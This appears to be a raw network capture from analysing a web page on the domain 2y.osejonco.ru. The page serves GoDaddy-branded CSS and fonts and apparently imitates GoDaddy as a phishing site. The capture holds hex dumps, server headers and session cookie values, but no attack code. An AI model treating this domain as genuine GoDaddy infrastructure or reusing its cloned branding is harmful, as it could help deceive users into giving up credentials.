laravel_session=eyJpdiI6ImZYU3RSMkFtaTlPMWdNTnpFaFBWUlE9PSIsInZhbHVlIjoidDl4OE5lenRMVXR6c2RhZnd6VzVhMnJUZVpFSXJ4RWRDNmg3L2RxOEx3MW1FS251WG1DTzRyRVdZbmNaK1ZqRW95bWRtZEIvOGhCNVR5UWRhclF4UkdtRjdZdnFZRDhUMEt6ZTlldm44OXN0d3dZcUZLRjRQWGJBTDk0Znh0d0giLCJtYWMiOiI0ODkyNDQxMzJmNDA4ZDlhYjZlMGZlZTFkMTVlYTA0ODI3ZDEwMGY0MmM4ZjU3NmZlYWQ2MDgyNmE4OGQ0MTRmIiwidGFnIjoiIn0%3D
2025-03-16 23:38:00 UTC	1075	IN	HTTP/1.1 200 OK Date: Sun, 16 Mar 2025 23:38:00 GMT Content-Type: text/css;charset=UTF-8 Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="ab0fLnPpqMj9Kef24" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VDGSsrimpYAry4kTgVbourgjHGVVZp0EZI7PY6KH0189X0bZ6nm%2F0i98zdS6b3VFGatyg8kNwVC8z8KV50vbcJv4KvhtE8INzN4Sstmc3VshqjkJXHfhXvytXX8euGHpO4%2B2"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=377&min_rtt=340&rtt_var=130&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2254&delivery_rate=9046979&cwnd=252&unsent_bytes=0&cid=c02d7460e2662436&ts=171&x=0" vary: accept-encoding Server: cloudflare CF-RAY: 921814e4fce6b637-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1710&min_rtt=1691&rtt_var=648&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2826&recv_bytes=1915&delivery_rate=1726788&cwnd=74&unsent_bytes=0&cid=739d761cbb430288&ts=330&x=0"
2025-03-16 23:38:00 UTC	294	IN	Data Raw: 33 37 62 39 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 7b 0d 0a 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 67 64 73 68 65 72 70 61 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 7d 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 61 20 7b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 32 72 71 61 70 77 2c 23 30 30 30 29 3b 0d 0a 20 20 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 37 69 66 35 70 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 37 69 66 35 70 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 74 72 61 6e 73 70 61 72 Data Ascii: 37b9#sections_godaddy {font-family: gdsherpa !important;}#sections_godaddy a { color: var(--ux-2rqapw,#000); -webkit-text-decoration: var(--ux-1f7if5p,underline); text-decoration: var(--ux-1f7if5p,underline); background-color: transpar
2025-03-16 23:38:00 UTC	1369	IN	Data Raw: 20 20 20 66 6c 65 78 3a 20 31 20 31 20 30 25 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 61 3a 68 6f 76 65 72 20 7b 0d 0a 2f 2a 20 20 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 31 6a 38 37 76 76 6e 2c 23 66 66 66 29 3b 2a 2f 0d 0a 20 20 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 74 30 6b 68 6d 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 74 30 6b 68 6d 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 73 76 67 20 7b 0d 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0d 0a 20 20 76 65 72 74 69 63 Data Ascii: flex: 1 1 0%;}#sections_godaddy a:hover {/* color: var(--ux-1j87vvn,#fff);*/ -webkit-text-decoration: var(--ux-1ft0khm,underline); text-decoration: var(--ux-1ft0khm,underline);}#sections_godaddy svg { overflow: hidden; vertic
2025-03-16 23:38:00 UTC	1369	IN	Data Raw: 2a 20 76 61 72 28 2d 2d 75 78 53 70 61 63 65 2d 2d 70 61 64 64 69 6e 67 2d 61 64 6a 75 73 74 6d 65 6e 74 2c 31 29 29 3b 0d 0a 20 20 2d 2d 75 78 53 70 61 63 65 2d 2d 67 61 70 2d 73 69 7a 65 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 7a 64 30 73 65 72 2c 33 29 20 2a 20 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 2e 32 35 72 65 6d 29 20 2a 20 76 61 72 28 2d 2d 75 78 53 70 61 63 65 2d 2d 67 61 70 2d 61 64 6a 75 73 74 6d 65 6e 74 2c 31 29 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 73 70 61 63 65 2e 75 78 2d 73 70 61 63 65 2d 2d 69 6e 6c 69 6e 65 3a 65 6d 70 74 79 20 7b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 66 6c 65 78 3b 0d 0a 20 20 69 6e 6c 69 6e 65 2d 73 69 7a 65 3a 20 76 61 Data Ascii: * var(--uxSpace--padding-adjustment,1)); --uxSpace--gap-size: calc(var(--ux-zd0ser,3) * var(--ux-1sbfig8,.25rem) * var(--uxSpace--gap-adjustment,1));}#sections_godaddy .ux-space.ux-space--inline:empty { display: inline-flex; inline-size: va
2025-03-16 23:38:00 UTC	1369	IN	Data Raw: 72 65 6d 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 2d 31 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 30 29 20 76 61 72 28 2d 2d 75 78 2d 6f 6c 30 37 30 33 2c 2f 29 20 76 61 72 28 2d 2d 75 78 2d 37 73 34 70 33 76 2c 31 2e 31 32 35 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 2d 32 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 2d 31 29 20 76 61 72 28 2d 2d 75 78 2d 6f 6c 30 37 30 33 2c 2f 29 20 76 61 72 28 2d 2d 75 78 2d 37 73 34 70 33 76 2c 31 2e 31 32 35 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 31 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 Data Ascii: rem)); --uxText--fontSize-1: calc(var(--uxText--fontSize0) var(--ux-ol0703,/) var(--ux-7s4p3v,1.125)); --uxText--fontSize-2: calc(var(--uxText--fontSize-1) var(--ux-ol0703,/) var(--ux-7s4p3v,1.125)); --uxText--fontSize1: calc(var(--uxText--fontSi
2025-03-16 23:38:00 UTC	1369	IN	Data Raw: 63 61 6f 30 36 62 2c 23 66 66 66 29 3b 0d 0a 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 39 37 68 33 76 6c 2c 23 64 33 64 33 64 33 29 3b 0d 0a 20 20 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 20 76 61 72 28 2d 2d 75 78 2d 31 39 77 72 33 6b 71 2c 31 70 78 29 3b 0d 0a 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 76 61 72 28 2d 2d 75 78 2d 32 6a 75 62 65 73 2c 32 70 78 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 61 6c 65 72 74 20 61 5b 68 72 65 66 5d 20 7b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 69 6e 68 65 72 69 74 3b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 74 65 78 74 2d 65 6e Data Ascii: cao06b,#fff); border-color: var(--ux-97h3vl,#d3d3d3); border-width: var(--ux-19wr3kq,1px); border-radius: var(--ux-2jubes,2px);}#sections_godaddy .ux-alert a[href] { color: inherit; display: inline;}#sections_godaddy .ux-text-en
2025-03-16 23:38:00 UTC	1369	IN	Data Raw: 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0d 0a 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 38 70 78 3b 0d 0a 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 38 70 78 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 63 6f 6e 74 61 69 6e 65 72 2d 66 6c 75 69 64 3a 3a 61 66 74 65 72 20 7b 0d 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 22 3b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 74 61 62 6c 65 3b 0d 0a 20 20 63 6c 65 61 72 3a 20 62 6f 74 68 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 64 2d 66 6c 65 78 20 7b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 66 6c 65 78 2d 72 6f 77 Data Ascii: -right: auto; padding-left: 8px; padding-right: 8px;}#sections_godaddy .container-fluid::after { content: ""; display: table; clear: both;}#sections_godaddy .d-flex { display: flex!important;}#sections_godaddy .flex-row
2025-03-16 23:38:00 UTC	1369	IN	Data Raw: 3a 20 6e 6f 6e 65 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 62 75 74 74 6f 6e 3a 66 6f 63 75 73 20 7b 0d 0a 20 20 6f 75 74 6c 69 6e 65 3a 20 76 61 72 28 2d 2d 75 78 70 2d 66 6f 63 75 73 2d 76 69 73 69 62 6c 65 2d 6f 75 74 6c 69 6e 65 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 62 75 74 74 6f 6e 2c 69 6e 70 75 74 20 7b 0d 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0d 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 69 6e 68 65 72 69 74 3b 0d 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 69 6e 68 65 72 69 74 3b 0d 0a 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 69 6e 68 65 72 69 74 3b 0d 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 76 69 73 69 62 6c 65 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e Data Ascii: : none;}#sections_godaddy button:focus { outline: var(--uxp-focus-visible-outline);}#sections_godaddy button,input { margin: 0; font-family: inherit; font-size: inherit; line-height: inherit; overflow: visible;}#section
2025-03-16 23:38:00 UTC	1369	IN	Data Raw: 6e 3b 0d 0a 20 20 6d 69 6e 2d 77 69 64 74 68 3a 20 30 3b 0d 0a 20 20 77 6f 72 64 2d 77 72 61 70 3a 20 62 72 65 61 6b 2d 77 6f 72 64 3b 0d 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6c 69 70 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0d 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 2e 32 35 72 65 6d 29 20 2a 20 35 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 63 61 72 64 2d 62 6c 6f 63 6b 20 7b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 2e 32 35 72 65 6d 29 20 2a 20 35 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 63 61 72 64 20 7b 0d 0a 20 Data Ascii: n; min-width: 0; word-wrap: break-word; background-clip: border-box; margin-bottom: calc(var(--ux-1sbfig8,.25rem) * 5);}#sections_godaddy .card-block { padding: calc(var(--ux-1sbfig8,.25rem) * 5);}#sections_godaddy .ux-card {
2025-03-16 23:38:00 UTC	1369	IN	Data Raw: 64 61 64 64 79 20 2e 75 78 2d 62 75 74 74 6f 6e 3a 6e 6f 74 28 2e 75 78 2d 62 75 74 74 6f 6e 2d 69 6e 6c 69 6e 65 29 2e 75 78 2d 74 65 78 74 2d 73 69 7a 65 2d 31 20 7b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 30 2e 32 35 72 65 6d 29 2a 31 29 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 30 2e 32 35 72 65 6d 29 2a 33 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 62 75 74 74 6f 6e 3a 6e 6f 74 28 2e 75 78 2d 62 75 74 74 6f 6e 2d 69 6e 6c 69 6e 65 29 3a 6e 6f 74 28 5b 64 69 73 61 62 6c 65 64 5d 29 3a 68 6f 76 65 72 20 7b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 31 6b 79 79 62 70 62 2c 76 61 72 28 2d 2d 75 78 Data Ascii: daddy .ux-button:not(.ux-button-inline).ux-text-size-1 { padding: calc(var(--ux-1sbfig8,0.25rem)1) calc(var(--ux-1sbfig8,0.25rem)3);}#sections_godaddy .ux-button:not(.ux-button-inline):not([disabled]):hover { color: var(--ux-1kyybpb,var(--ux
2025-03-16 23:38:00 UTC	1369	IN	Data Raw: 74 69 6f 6e 20 7b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 30 3a 20 76 61 72 28 2d 2d 75 78 2d 37 34 73 31 62 6b 2c 76 61 72 28 2d 2d 75 78 2d 63 78 62 65 38 67 2c 31 72 65 6d 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 6c 69 6e 65 48 65 69 67 68 74 3a 20 76 61 72 28 2d 2d 75 78 2d 31 64 72 79 32 70 6a 2c 76 61 72 28 2d 2d 75 78 2d 6a 77 35 73 39 6a 2c 31 2e 35 29 29 3b 0d 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 61 72 28 2d 2d 75 78 2d 31 69 72 38 76 74 76 2c 76 61 72 28 2d 2d 75 78 2d 67 66 6e 75 70 76 2c 73 61 6e 73 2d 73 65 72 69 66 29 29 3b 0d 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 76 61 72 28 2d 2d 75 78 2d 34 67 31 72 32 74 2c 76 61 72 28 2d 2d 75 78 2d 6a 34 30 79 79 64 2c 34 30 30 29 29 3b 0d 0a Data Ascii: tion { --uxText--fontSize0: var(--ux-74s1bk,var(--ux-cxbe8g,1rem)); --uxText--lineHeight: var(--ux-1dry2pj,var(--ux-jw5s9j,1.5)); font-family: var(--ux-1ir8vtv,var(--ux-gfnupv,sans-serif)); font-weight: var(--ux-4g1r2t,var(--ux-j40yyd,400));

Timestamp	Bytes transferred	Direction	Data
2025-03-16 23:37:59 UTC	1358	OUT	GET /GDSherpa-bold.woff2 HTTP/1.1 Host: 2y.osejonco.ru Connection: keep-alive Origin: https://2y.osejonco.ru sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://2y.osejonco.ru/hruzkqxoscquhmojxirozgzngdpepl5ZROK5PNX8KMPTG5LD7W?DFUXXQNZLFPEFTDXJI Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImR4d0dYVlFMRVZXYWRjNFVKdmRJemc9PSIsInZhbHVlIjoiU1hTT3VWUHdFcWFqWlExUzkyR0VaV0VYRGFvZUhXK1VIMkhsYnBMZ0tkUlVhMTloZ2ppdDU2cVdOVkx0MEZ0Q3AwKzhoclRQNWU5M2RLY2ErOVpyNDNQZ2I2eVQza3RIbHl2WjBRVS8xb05TWkV1SXhPcXVMdXdsbkNybGVrSVQiLCJtYWMiOiJjMzRmOWFiZTI5MjgyOWIxNzViZmNmZTEzYzNiYmFmZjU1ZmFjMjZlY2JmMmY4NWU0MjdmMTgwM2IyMDVmZjFkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImZYU3RSMkFtaTlPMWdNTnpFaFBWUlE9PSIsInZhbHVlIjoidDl4OE5lenRMVXR6c2RhZnd6VzVhMnJUZVpFSXJ4RWRDNmg3L2RxOEx3MW1FS251WG1DTzRyRVdZbmNaK1ZqRW95bWRtZEIvOGhCNVR5UWRhclF4UkdtRjdZdnFZRDhUMEt6ZTlldm44OXN0d3dZcUZLRjRQWGJBTDk0Znh0d0giLCJtYWMiOiI0ODkyNDQxMzJmNDA4ZDlhYjZlMGZlZTFkMTVlYTA0ODI3ZDEwMGY0MmM4ZjU3NmZlYWQ2MDgyNmE4OGQ0MTRmIiwidGFnIjoiIn0%3D
2025-03-16 23:37:59 UTC	1158	IN	HTTP/1.1 200 OK Date: Sun, 16 Mar 2025 23:37:59 GMT Content-Type: font/woff2 Content-Length: 28000 Connection: close Content-Disposition: inline; filename="GDSherpa-bold.woff2" Last-Modified: Sun, 16 Mar 2025 22:44:28 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=p5RRfAviihxQIlce2wiOhPPhPDiUWfN2bnH9psRcGczW1QBjlzQjIZHfxdSMrevMFF%2FQLP%2FYMqy1sobYE%2Fjqx6OsBWgHX6f2o6cjROqhWq0jz2gVPGDuwhZ395DvG7c7Ncnq"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=323&min_rtt=297&rtt_var=102&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2269&delivery_rate=11755813&cwnd=252&unsent_bytes=0&cid=e9600029a0bdb23a&ts=13&x=0" Cache-Control: max-age=14400 CF-Cache-Status: MISS Accept-Ranges: bytes Server: cloudflare CF-RAY: 921814e518ec7ca0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1971&min_rtt=1963&rtt_var=752&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=1930&delivery_rate=1440552&cwnd=183&unsent_bytes=0&cid=349b58e7fcde3a10&ts=237&x=0"
2025-03-16 23:37:59 UTC	211	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 6d 60 00 10 00 00 00 01 24 08 00 00 6c fd 00 01 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 81 9d 36 1c 89 16 06 60 00 8e 3c 08 3c 09 97 62 11 08 0a 82 bb 24 82 9c 7f 01 36 02 24 03 8e 78 0b 87 3e 00 04 20 05 8c 03 07 97 7b 0c 81 0d 5b 09 10 71 05 6b b7 5d 5d 4f 88 db 06 10 73 b3 fd a9 7c 99 02 6e 8c 9b c7 21 18 d6 5b 3c 3b 10 83 ee e0 50 26 a6 cf 67 ff ff ff bf 21 a9 c8 98 49 27 69 b7 0d 51 01 44 50 d5 df 9f c4 1e 39 02 92 4a a0 06 b7 80 17 c1 39 47 eb 95 e9 98 51 31 28 8b f2 29 4a 6e c6 19 d5 d4 c5 d4 38 59 f3 d2 1b f9 1a 98 29 4a ce 46 0e 63 20 41 96 af 37 6b ab 76 b3 Data Ascii: wOF2m`$lB6`<<b$6$x> {[qk]]Os\|n![<;P&g!I'iQDP9J9GQ1()Jn8Y)JFc A7kv
2025-03-16 23:37:59 UTC	1369	IN	Data Raw: 8b e9 32 3d a1 5a ee 6e fa 34 60 12 ed 81 a0 c0 7e 4e 6c a4 81 ef 34 3b aa 91 07 53 f6 6c 7b 77 c7 c7 3a ae 23 d5 ee aa 3d 21 bc 20 bc ef 58 a8 f0 9b c5 a1 13 3e 5b 8f 37 84 95 1b dd c4 fb 92 f6 31 3f 3f e9 b5 33 1b 3f 74 d0 95 c5 71 45 fc 1e 66 c9 95 b6 19 62 97 c3 e1 2c c8 92 46 77 63 70 38 ab af 91 34 5e 02 5e 78 9e b1 7c a7 82 a3 c6 52 6f 3c 25 dc d7 22 2e e1 09 81 7e 30 8f 94 71 ee b7 f8 72 50 88 85 47 11 0b b2 82 f4 97 de 52 ff cd dd bc c0 2d 9d bc 7b 4f 92 51 65 4a a9 db c1 16 d8 36 ec 45 cd 8e 9e f6 ff fe b2 ac aa 7b ef 7b 1f 1a d4 a2 16 d0 2c 68 a5 21 8c cc 83 5f bd 04 bd dd 0b 7f 24 03 cb 33 a9 9d 63 46 40 11 87 3e b9 8f a3 0d a2 0d 1d 8d 74 c0 6f f3 ef d1 46 63 20 88 95 18 59 53 8c af ac 8d fe 73 19 56 d4 8c c4 6a b4 99 8b 0e 75 6b 06 60 6e 0e Data Ascii: 2=Zn4`~Nl4;Sl{w:#=! X>[71??3?tqEfb,Fwcp84^^x\|Ro<%".~0qrPGR-{OQeJ6E{{,h!_$3cF@>toFc YSsVjuk`n
2025-03-16 23:37:59 UTC	1369	IN	Data Raw: 5c 77 d3 1d db f0 bf d6 60 31 5d 4a 97 d3 f5 f4 a4 59 2d 73 e6 2d 58 b4 64 d9 8a 55 6b d6 6d d8 dc d6 b6 77 b0 f6 d0 61 c3 47 8c 1c 35 30 7a cc f8 09 13 27 4d 9e 32 7d c6 cc 59 b3 e7 cc 1d dc f5 1e f7 b9 78 c9 46 1b f3 73 92 35 88 21 b9 90 06 4c a1 ec 44 53 63 41 4a 18 28 48 6b 6b a6 b0 10 96 b2 ea 6e 60 12 8b 54 27 3a 88 0d 21 91 cf 78 89 b0 b1 d8 18 21 22 c5 da ac b1 1d e5 ca f6 61 f6 a8 56 58 53 71 3c 02 8d 44 a2 a2 41 23 e9 58 a6 4f 15 82 22 96 74 9e aa c0 f4 bc 86 89 99 78 96 9e cc 06 39 a9 dd f8 40 7f e2 54 d8 c2 6b b4 1b e6 c5 e1 04 8c 66 32 96 29 88 85 e4 1c c6 0e b7 46 86 56 d0 e4 51 61 62 15 4f 01 27 e6 16 29 b4 dd 95 b0 ee 43 0c a3 4b ea 60 8c c0 09 ad e3 6f 88 46 c1 31 3e 16 2f a6 93 a3 2c a1 5c 8f a6 25 41 94 a6 fc ba 38 e6 29 59 8d b8 09 b2 Data Ascii: \w`1]JY-s-XdUkmwaG50z'M2}YxFs5!LDScAJ(Hkkn`T':!x!"aVXSq<DA#XO"tx9@Tkf2)FVQabO')CK`oF1>/,\%A8)Y
2025-03-16 23:37:59 UTC	1369	IN	Data Raw: f7 9a 59 0b 79 56 80 3c 2f 6d c3 e0 bb bd e6 87 fe 1c cc 0d 18 38 fa 62 0b 01 bc 05 33 fb 67 82 27 9d 98 3f 21 ff 23 4c 66 24 d3 27 ca 08 44 a9 f4 ff 94 fa eb 3b bb 83 8b 02 47 f2 cd 86 8c 7f 4e e1 32 e7 d8 15 ae 79 f8 47 8f fa 05 96 b1 d9 36 75 60 b8 9c 89 84 ab 0f ce b6 0d b0 e5 e9 e7 53 21 f4 1c 5b 5e ef 2c e5 1d e5 33 06 58 b9 e3 bf 4b 32 40 cb 15 6f 86 0b 94 4f 42 ca e2 c7 88 be 73 54 45 83 70 c0 53 0f 20 a4 a1 c9 b1 40 1c 44 ef 81 97 5a db 50 18 22 a5 a5 70 8f 5f eb 4d ed 09 f5 04 d0 0c 6c ac d1 b3 da a0 5c ef 6b c9 93 48 d8 73 12 fe 6f 47 42 f7 de 47 8d 7e 39 a2 63 8a a3 c3 11 1b f3 63 3b c1 97 86 57 c5 13 9c 32 39 ea a5 bd 1f e9 a5 a8 95 ab e9 c3 25 f8 f4 7b a0 cc 90 77 51 d2 bd f8 79 19 f2 a2 47 74 0c d9 1e 6c 61 83 6b 8d 97 d4 f3 04 20 e7 2b 63 Data Ascii: YyV</m8b3g'?!#Lf$'D;GN2yG6u`S![^,3XK2@oOBsTEpS @DZP"p_Ml\kHsoGBG~9cc;W29%{wQyGtlak +c
2025-03-16 23:37:59 UTC	1369	IN	Data Raw: 91 84 e7 ee 0c 54 fb e1 d1 8a eb f5 00 5f 98 7b d5 02 c9 d4 83 39 92 97 e2 70 58 d4 05 60 f1 63 30 c3 d6 0a 9b a6 c4 77 52 42 36 e2 4e 21 d6 57 4e 46 0f 3c c3 ed 46 2e 7c 76 0c b0 f5 48 c7 45 ff c9 ed f1 ab 91 fa 72 a5 ca 0f 4f 04 7a 13 ca b1 46 a7 b9 aa 87 1a 89 7e 63 b0 92 a4 e6 f9 de 46 9f dd 71 be 20 de e9 fd 8c 00 5a c9 1e 8a 23 4a 27 a0 ce 42 1e 5b 6d 40 40 3c bf 46 bf 87 3b 88 a3 bb ff 22 63 84 3f f6 b8 70 7f e1 e6 bf 7e 53 e1 e5 89 5b 97 e8 15 a4 24 20 35 29 73 9b 30 1c 97 3a f4 09 c6 df 6d af a6 d6 b1 39 44 4c 43 64 c3 d7 30 ff 90 97 df d3 35 dd 6c dd 23 7d 72 b0 63 e6 28 7b ec 1b cb 1d 01 12 cf d5 46 05 58 bf 47 3d 6f b5 4b 00 12 0c 03 15 52 e1 0d 36 3c 0b fa cd 75 d3 91 a9 e1 be 6c 7c 7c 41 17 7b 2e f2 7f 71 2f 44 85 82 85 df 24 0a 48 e2 fb 9b Data Ascii: T_{9pX`c0wRB6N!WNF<F.\|vHErOzF~cFq Z#J'B[m@@<F;"c?p~S[$ 5)s0:m9DLCd05l#}rc({FXG=oKR6<ul\|\|A{.q/D$H
2025-03-16 23:37:59 UTC	1369	IN	Data Raw: 8b 64 af a2 dd 25 0f 30 42 87 63 c5 7e 02 a5 42 d3 64 32 44 01 80 0d 52 50 be b2 37 d0 27 5f 0e b0 93 cc 2b 52 29 c2 37 52 bd c4 24 13 01 62 ac 2c 71 16 6d 89 15 43 a2 4a 3b 58 10 63 15 56 19 85 c5 5a 67 71 36 93 89 64 c8 42 5e fa 4a 16 a3 48 89 c8 fb 86 a8 c7 95 6b f6 a2 f4 d9 42 5c e7 8c c8 5f 20 a2 10 a1 50 0e 9d 41 74 56 1d 2a 51 71 92 c8 4a 96 0a ed 93 8a 89 29 51 0e e3 ab 6a 60 7d 4b 03 9c 1f 74 2c 5e 9b da c2 4a 6b 65 09 da 58 6f 5f b0 f2 da 59 6e 1d ac 82 4e 2a fd d5 ab 8a a3 e8 d1 8b ac 4f 3f 69 03 98 28 06 61 15 0d b1 74 67 59 6f d3 2c c5 28 2b 60 8c 95 31 ce 0a 9a 60 9d 2c b0 42 a6 58 17 4b ac b0 19 96 6a 96 c5 9b 63 15 b1 58 bc 05 56 de 22 4b b1 c4 2a 5a 66 05 ad b0 9e ae b3 de 96 59 0a 36 eb ea 6b 96 62 83 e5 75 85 1a 7d 6d ad 20 dd 1d 5e d6 Data Ascii: d%0Bc~Bd2DRP7'_+R)7R$b,qmCJ;XcVZgq6dB^JHkB\_ PAtVQqJ)Qj`}Kt,^JkeXo_YnNO?i(atgYo,(+`1`,BXKjcXV"K*ZfY6kbu}m ^
